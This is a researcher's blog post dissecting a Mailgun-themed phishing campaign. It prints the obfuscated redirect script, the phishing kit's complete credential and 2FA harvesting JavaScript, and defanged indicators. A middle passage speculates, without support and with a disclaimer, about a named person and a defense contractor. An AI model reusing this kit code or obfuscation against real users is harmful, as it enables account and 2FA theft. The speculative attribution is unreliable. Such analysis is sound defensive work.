Confusing Methods, Mailgun Phishing, and More?
Good morning, everyone! As always, it's been a while since my last post. I have been receiving a persistent phishing email that appears to be from Mailgun. While I initially didn't pay much attention to it, the frequency of these emails made me take a closer look. After reviewing them, I can honestly say that I left feeling more confused than ever. Grab a coffee, this is going to be a long post.
Email Pretext
The phishing email itself is well constructed. The call to action is that you have an unpaid bill and the credit card on file is no longer valid. This method is quite effective if you are a Mailgun admin. In addition to a decent pretext, the email is also drafted in mostly HTML and only tries to load a handful of remote sources.

Email Analysis
This is where things start to get strange—yes, right from the beginning. When examining the HTML content of the email, we can see the usual phishing characteristics: links that are clearly not affiliated with Mailgun.

Rather than just a link, we see URL-encoded content with a link to a Youtube URL within a window.location.href
appended to the end of support-sinch[.]sidra[.]space
. When decoding the URL-encoded data, we get the following:
<script>
// Base64 decoding function
b = atob;
meth = "re" + "pla" + "ce";
sodani = (el) => el[meth]( /#/gi, '' )[meth](/\!/gi, '' );
jkk = b("ZG9jdW1lbnQ");
jkk = this[jkk];
jkk[sodani('ti#'+'t!l##e')] = '._.';
jkk[sodani('b!#od'+'!y#')].style[sodani('op#a!'+'c!it'+'#y#')] = 0x0;
// Redirect to Google
window.location.href = 'https://youtu.be/JZnnp7uHXLg?t=71';
</script>
The idea here is that when a user clicks the link, the injected script changes the title to ._.
and makes the body invisible, followed by a redirect to the intended page, which in this case is a YouTube URL. It performs character substitution and base64 decoding to obfuscate its purpose. I've reconstructed this code into something more readable:
<script>
// Replace function for removing specific characters
const removeCharacters = (input) => {
return input.replace(/#/g, '').replace(/!/g, '');
};
// Access the document object directly
const documentObject = document;
// Set the document title
documentObject[removeCharacters('title')] = '._.';
// Set the body opacity to 0 (make it invisible)
const bodyElement = documentObject[removeCharacters('body')];
bodyElement.style[removeCharacters('opacity')] = 0;
// Redirect to a specific YouTube link
window.location.href = 'https://youtu.be/JZnnp7uHXLg?t=71';
</script>
The Youtube link takes you to this banger:

Things continued to get strange. When we actually clicked the fake billing button, our request was blocked. This is because support-sinch[.]sidra[.]space
is behind—you guessed it—Cloudflare. The payload is an XSS payload, which is prevented by the Cloudflare service, effectively rendering this phishing email nonfunctional--lol.

The irony of attackers using Cloudflare to obfuscate their location and services, only to have their campaigns fail because Cloudflare also serves as a web application firewall, is not lost on me. I assume there are some instances that this would work. 🤷♂️
Inspecting the Phish Gateway
We have determined that the phishing URL in our email does not work. But what about the actual host it is intended to leverage? When we navigate directly to support-sinch[.]sidra[.]space
, we find that the attackers have left directory indexing enabled. Setting up web servers is indeed challenging.

We were not able to see contents of ICS, however, the index page shows us something interesting
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>ICS Tool</title>
</head>
<body>
<h1>Welcome to the ICS Tool Page</h1>
<script>
// Base64 decoding function
b = atob;
meth = "re" + "pla" + "ce";
sodani = (el) => el[meth]( /#/gi, '' )[meth](/\!/gi, '' );
jkk = b("ZG9jdW1lbnQ");
jkk = this[jkk];
jkk[sodani('ti#'+'t!l##e')] = '._.';
jkk[sodani('b!#od'+'!y#')].style[sodani('op#a!'+'c!it'+'#y#')] = 0x0;
// Redirect to Google
window.location.href = 'hxxps://login[.]support-mailgun[.]info/dVlybPTb';
</script>
</body>
</html>
Look at that! It’s a payload strikingly similar to the one originally included in our email. This time, however, it contains an actual link that resembles a Mailgun URL. I did some searching around and only found a scan on Hybrid Analysis:
We also found two hosts on urlscan that had a similar URL structure:
- https://urlscan.io/result/1f37042d-30ac-4a5d-97b5-aebd7048e7d0/
- https://urlscan.io/result/c9f9ae08-498a-409d-ab21-5ca7680ec2d9/
While these URLs patterns are similar, it's worth noting that they are only similar based on URL, not functionality.
Phish Page
After following the redirect to login[.]support-mailgun[.]info
, we were forced to complete a human verification step via Cloudflare captcha. After passing captcha validation we are presented with the phish.

When viewing loaded JavaScript, we can get an idea of how this Phish is functioning. Before diving into the weeds, it's worth noting that we will not be able to see all of the servier-side functionality.
The Phish page loads the following JavaScript:
const emailFromSignupCookie = ""
if (emailFromSignupCookie !== "") {
u('#username').first().value = emailFromSignupCookie
}
var currentStepSelector = '#usernameForm';
var qriousOpts = function(dataValue) {
return {
'size': 128,
'value': dataValue
};
};
function errorMessage(error) {
switch (true) {
case error.status === 403 || error.status === 400:
return error.message || 'Bad username or password';
case error.status === 503:
return 'Login temporarily disabled';
default:
return 'Login service is down';
}
}
function twoFactorError(statusCode) {
return statusCode === 400 ? 'Invalid token.' : '2FA service is down.';
}
function previousStep(event) {
event.preventDefault();
next('#usernameForm');
}
function showSinchModal(redirect) {
const template = document.querySelector("#sinchModalTemplate")
const clone = template.content.cloneNode(true);
const modal = document.querySelector("#sinchModal")
// Attach template clone to modal slot
modal.appendChild(clone)
// Attach modal accordion listener; Accordion expands when clicked
modal.querySelector("sinch-accordion")
.addEventListener("-change", (e) => e.currentTarget.value = e.detail)
// Attach modal `Continue` button listener; User is redirected when button clicked
modal.querySelector("sinch-button")
.addEventListener("-click", () => window.location = redirect)
}
u('#previous').on('click', previousStep);
function nextStep(e) {
e.preventDefault();
const buttonText = u('#next').text();
if (buttonText !== "Next" && buttonText !== 'Log in') {
return false;
}
u('#next').text('')
u('#next').html(`<div class='loader'></div>`)
u('body').removeClass('error');
window[selectStep(currentStepSelector).data('next')]();
}
function showError(error, type = 'error', location = 'bottom') {
u('body').addClass(type);
u('#loginError' + location).removeClass('hidden');
u('#message' + location).html("<img src='/login/static/" + type + ".svg' />" + "<span class='loginForm__statusText'>" + error + "</span>");
}
function loginError(error) {
showError(error, 'error');
}
function setStepLink(stepSelector) {
const stepLinks = {
"#usernameForm": `Dont have an account yet? <a href="https://signup.support-mailgun.info">Sign up now!</a>`,
"#passwordForm": `<a class='labelGroup__resetLink' href='/recovery/new'>Forgot your password?</a>`,
"#tfaForm": `<a class='labelGroup__link' href='/recovery/2fa'>Lost code generator?</a>`
}
u('.stepLink').html(stepLinks[stepSelector]);
}
function next(nextStepSelector) {
let currentStep = selectStep(currentStepSelector);
if (nextStepSelector === '#passwordForm') {
u('#previous').removeClass('loginForm__buttonHidden');
} else {
u('#previous').addClass('loginForm__buttonHidden');
}
if (currentStepSelector === '#usernameForm') {
currentStep.addClass('hidden');
currentStepSelector = nextStepSelector;
let nextStep = selectStep(nextStepSelector);
const email = selectStep('#usernameForm', 'input').first().value.toLowerCase();
selectStep(nextStepSelector, 'input').first().value = email;
setStepLink(nextStepSelector);
nextStep.removeClass('hidden');
if (selectStep(currentStepSelector, 'input').first()) {
selectStep(currentStepSelector, 'input').first().focus();
}
u('#next').text('Log in');
} else {
currentStep.addClass('hidden');
currentStepSelector = nextStepSelector;
let nextStep = selectStep(nextStepSelector);
setStepLink(nextStepSelector);
nextStep.removeClass('hidden');
if (selectStep(currentStepSelector, 'input').first()) {
selectStep(currentStepSelector, 'input').first().focus();
}
u('#next').text('Next');
}
}
function selectStep(current, selector) {
var step;
selector = selector ? selector : '';
step = selector ? current + ' ' + selector : current;
return u(step);
}
function checkUsername() {
const email = selectStep(currentStepSelector, 'input').first().value.toLowerCase();
if (!email) {
u('#next').html('');
u('#next').text('Next');
showError('Please enter a valid email', 'error');
} else {
const data = new FormData();
data.append('username', email);
post('/login/new', data)
.then(function(response) {
u('#email').text(response.email);
next('#passwordForm');
})
.catch(function(err) {
loginError(errorMessage(err));
u('#next').html('');
u('#next').text('Next');
})
}
}
function checkPassword() {
const data = new FormData();
data.append('password', selectStep(currentStepSelector, '#password').first().value);
post('/login/password', data)
.then(function(response) {
if (response.step === 'challenge') {
next('#challengeForm');
showError(
"We’ve detected unusual login activity. For security reasons, we’ve sent you a code to your email to validate your account.",
'success'
);
} else if (response.otp) {
const qr = new QRious(qriousOpts(response.otp))
const qrURL = qr.toDataURL();
const otpSecret = getSecretFromOTP(response.otp);
const link = u('#whitebox').addClass('tfa');
u('#otp').html('<img src="' + qrURL + '"/>');
u('#secret').text(otpSecret);
u('#recovery-code').text(response.secret);
next('#setupForm');
} else {
u('.loginForm__label').text(selectStep(currentStepSelector, '#email').first().value);
next('#tfaForm');
}
})
.catch(function(err) {
loginError(errorMessage(err));
u('#next').html('');
u('#next').text('Log in');
});
}
function getSecretFromOTP(otp) {
var secretStart = otp.indexOf('secret=');
var secretEnd = otp.indexOf('&', secretStart);
if (secretStart > -1 && secretEnd > -1) {
return otp.substring(secretStart + 7, secretEnd);
}
return false;
}
function complete2fa() {
var data = new FormData();
var otpInput = selectStep(currentStepSelector, 'input').nodes;
data.set('otp', otpInput[0].value);
if (otpInput.length > 1 && otpInput[1].checked) {
data.set(otpInput[1].name, otpInput[1].checked);
}
post('/login/finish2fa', data)
.then(function(response) {
console.log('successfully finished 2fa activation');
})
.catch(function(err) {
showError(errorMessage(err), 'error');
u('#next').html('');
u('#next').text('Next');
});
}
function check2fa() {
var data = new FormData();
var otpInput = selectStep(currentStepSelector, 'input').nodes;
data.set('otp', otpInput[0].value);
if (otpInput.length > 1 && otpInput[1].checked) {
data.set(otpInput[1].name, otpInput[1].checked);
}
post('/login/2fa', data)
.then(function(response) {
showError("Great, we're logging you in.", 'success');
})
.catch(function(err) {
showError(errorMessage(err), 'error');
u('#next').html('');
u('#next').text('Next');
});
}
function confirm2fa() {
// Instead of making a post call, we just give them the form to confirm
var link = u('#whitebox').removeClass('tfa');
next('#finish2faForm');
}
function post(url, data) {
u('#next').text('');
u('#next').html(`<div class='loader'></div>`);
data.append('csrf_token', 'ImFjMjdjZTg0ZWMyYzg3MjMwYzBmZDliODRlMjg5YjdlNDM0MWFkNzMi.ZvdRVQ.Bfw5fDPF5Ok6YVWRTfzSTFs1QlU');
return new Promise(function(resolve, reject) {
fetch(url, {
method: 'Post',
body: data
}).then(function(response) {
response.json().then(function(jsonResponse) {
if (response.ok) {
// Display the Sinch ID migration modal and redirect on `Continue` click
if (jsonResponse.isNewMigration) {
showSinchModal(jsonResponse.redirect)
return resolve(jsonResponse);
}
if (jsonResponse.redirect) {
return window.location = jsonResponse.redirect;
}
resolve(jsonResponse);
} else {
reject({
message: jsonResponse.message,
status: response.status,
statusText: response.statusText
});
}
}).catch(function(err) {
reject({
status: response.status,
statusText: response.statusText
});
})
}).catch(function(err) {
reject({
status: 500,
statusText: err.message,
});
});
});
}
document.getElementById('submitForm').addEventListener('submit', nextStep);
window.onpopstate = function(event) {
if (currentStepSelector !== '#usernameForm') {
return location.reload();
}
history.back()
};
selectStep(currentStepSelector, 'input').first().focus();
history.pushState({}, '', '');
I know, it's a lot of stuff. Let's look at the logical flow of the JavaScript:
-
Initialization:
- The script initializes the variable
emailFromSignupCookie
as an empty string. - The current step selector is set to
#usernameForm
.
- The script initializes the variable
-
Pre-population of Username Field:
- If
emailFromSignupCookie
is not empty, the username field (#username
) is populated with its value.
- If
-
User Interaction Begins:
- The user interacts with the form, starting with the
#usernameForm
.
- The user interacts with the form, starting with the
-
Username Submission:
- User enters their email/username and clicks the "Next" button.
- The form submission triggers the
nextStep(e)
function:- Prevents the default form submission.
- Checks if the button text is "Next" or "Log in".
- Displays a loading spinner and removes any error class from the body.
- Calls the
checkUsername()
function.
-
Username Validation (checkUsername):
- Retrieves the username entered by the user.
- Validates the username (checks if it is not empty).
- If valid, sends a POST request to
/login/new
with the username. - If successful, transitions to the
#passwordForm
using thenext('#passwordForm')
function. - If unsuccessful, displays an error message using
loginError(errorMessage(err))
.
-
Password Submission:
- User enters their password and clicks the "Next" button.
- The form submission triggers the
nextStep(e)
function:- Similar to username submission, it prepares for the next step.
- Calls the
checkPassword()
function.
-
Password Validation (checkPassword):
- Retrieves the password entered by the user.
- Sends a POST request to
/login/password
with the password. - If the server responds with a
step
of 'challenge':- Calls
next('#challengeForm')
to show the challenge step. - Displays a success message indicating unusual activity.
- Calls
- If the server responds with an OTP:
- Generates a QR code and displays it in the UI.
- Calls
next('#setupForm')
to transition to the setup step for 2FA.
- If the login is successful:
- Calls
next('#tfaForm')
to transition to the 2FA step.
- Calls
-
2FA Submission:
- User enters the OTP and submits the form.
- The form submission triggers the
nextStep(e)
function:- Calls
check2fa()
to validate the OTP.
- Calls
-
2FA Validation (check2fa):
- Sends a POST request to
/login/2fa
with the OTP. - If successful, displays a success message and logs the user in.
- If unsuccessful, displays an error message using
showError(errorMessage(err))
.
- Sends a POST request to
-
User Redirection and Modals:
- If the user is new and a modal is required (after username submission):
- Calls
showSinchModal(jsonResponse.redirect)
to display the modal and prepare for redirection.
- Calls
- If the user is new and a modal is required (after username submission):
-
Error Handling:
- Throughout the process, errors can occur:
- Any error during username validation will call
loginError(errorMessage(err))
. - Any error during password or 2FA validation will call
showError(errorMessage(err))
.
- Any error during username validation will call
- Throughout the process, errors can occur:
-
Navigational Events:
- If the user clicks the "Previous" button:
- The
previousStep(event)
function is triggered to go back to the previous step.
- The
- If the user navigates back in the browser:
- The
window.onpopstate
event handler checks if the user is on the username form and reloads the page if not.
- The
- If the user clicks the "Previous" button:
-
Completion of Login Process:
- If all steps are completed successfully (username, password, and 2FA):
- The user is redirected to the specified URL or the main application page.
- If all steps are completed successfully (username, password, and 2FA):
In short, the login process begins with the initialization of user input fields, specifically pre-populating the username field if an email is available. Users first enter their username, triggering a validation step that checks its existence on the server. Upon successful validation, they proceed to input their password, which is similarly validated. If the login requires two-factor authentication, users are prompted to enter an OTP, which is validated against the server. Throughout the process, appropriate error messages are displayed for any failed attempts, and the user interface dynamically updates to guide users through each step.
This is quite the Phish kit to just steal Mailgun credentials. Especially given that it can even steal two-factor authentication tokens.
After spending some time looking to see what else I could find, I noticed something strange in the original email.
This is a rabbit hole. I'm warning you. Perhaps even a red herring. Skip to the bottom if you just want the emails and whatnot for IoCs.
Defense Contractors?
Queue the rabbit hole. During my last look before making this post, I noticed that the attackers edited the billing support email contact. Specifically, the email was to be sent to appsupport@intersystems-rl[.]com
. Odd, but what the heck is Intersystems Rl?

Interesting, Intersystems-rl is Intersystems Inc, a supposed defense contractor out of Jordan, Lebanon, and Italy. The links to their Facebook and X/Twitter go nowhere and they also do shooting sports. Not suspect at all. There's also very little out there to search. I went down this rabbit hole to see if any of this was real.
Oh, and they're using Yahoo for the MX as of Sep 28. Seems an odd choice for a defense contractor, but who knows. According to their site, they've been around for 50 years.

Their website is quite barren and has some weird references to legitimate defense products. For example, Vira drones, types of industrial machinery and guided missiles that they sell for "Growing with Your Defense and Security Needs".
Looking at the contact section, we see a CEO listed.
- Sir Joe der Hovsepian (Military and security consultant / CEO)
First question. Who is Joe? Well, we found Joe on LinkedIn.


Joe has a handful of followers, making this seem not a suspect. Building on that, there's a Youtube account with the same profile picture:

Naturally Joe doesn't post a whole lot. But, he does respond to posts (3 years ago) that would be relevant to legitimate Defense:

Aside from a handful of comments and posts, Joe's social activity appears quite limited. Additionally, we see "Other Joe" on LinkedIn, whose location is actually set to Lebanon (Where Intersystems is HQ'd)--never mind you that the first Joe was in Italy.

According to the Intersystem's page:
INTERSYSTEMS INC. was founded in 1974 in Lebanon. by Sir . Joe der Hovsepian, a German citizen. It started its activities by providing general services, consultancy and supply of military equipment to the Lebanese Armed Forces.
Another Search for Joe led to The Security Implication of Microdisarmament at the US Defense Technical Information Center:
https://apps.dtic.mil/sti/tr/pdf/ADA474837.pdf'
This dude seems pretty legit and capable of running a defense contractor...Looking away from the defense contractor angle and who/what Joe is, my other question is: Why would a mailgun email be referencing a supposed defense contractor?
I can't make sense of this part. Perhaps it's an email compromise of the contractor? It would also be an odd coincidence that an arabic rap be associated with this. Also, why that youtube link? Why is the location on the Intersystems Google Maps: 31°58'29.8"N 35°51'54.1"E
not have them listed at all? Why does Zoominfo say they are in Lebanon Indiana?! Lol :D

None of this makes sense. Since none of this makes sense, I assume that a defense contractor would not be potentially leveraging their reach and systems to perform Mailgun phishing. That would be a severely incorrect accusation and assumption with the extremely limited evidence. I started feeling like I was after Pepe Silvia.
Intersystems is hosted via a shared hosting provider/development shop, Sama Cyber/Sama IT Solutions. Combined with Yahoo MX records, I'm beginning to suspect that there was an email added to their tenant. Of which they may not even know. Who knows. I do code and security research for a living..not threat intelligence.
If there are any other researchers out there that may find this interesting, I'd be curious to see what you've found.
Closing
I realize that this post jumped from 0 to 1000 and then back to a shrug. It's interesting to observe how organized this mass campaign targeting Mailgun accounts appears. The phishing email that was sent was sent to an email once associated with Mailgun (ironically for security testing). An intriguing correlation is the Mailgun breach from 2018.:
But alas, correlation is not causation. I'm curious if anyone else has received such an organized Phish similar to this.
Keep asking questions, keep digging deeper.
-Synfinner
IOCs
IoC | Type |
---|---|
postmaster@mail[.]beyondsportsnetwork[.]com | |
support-sinch[.]sidra[.]space | host |
login[.]support-mailgun[.]info | host |
appsupport@intersystems-rl[.]com |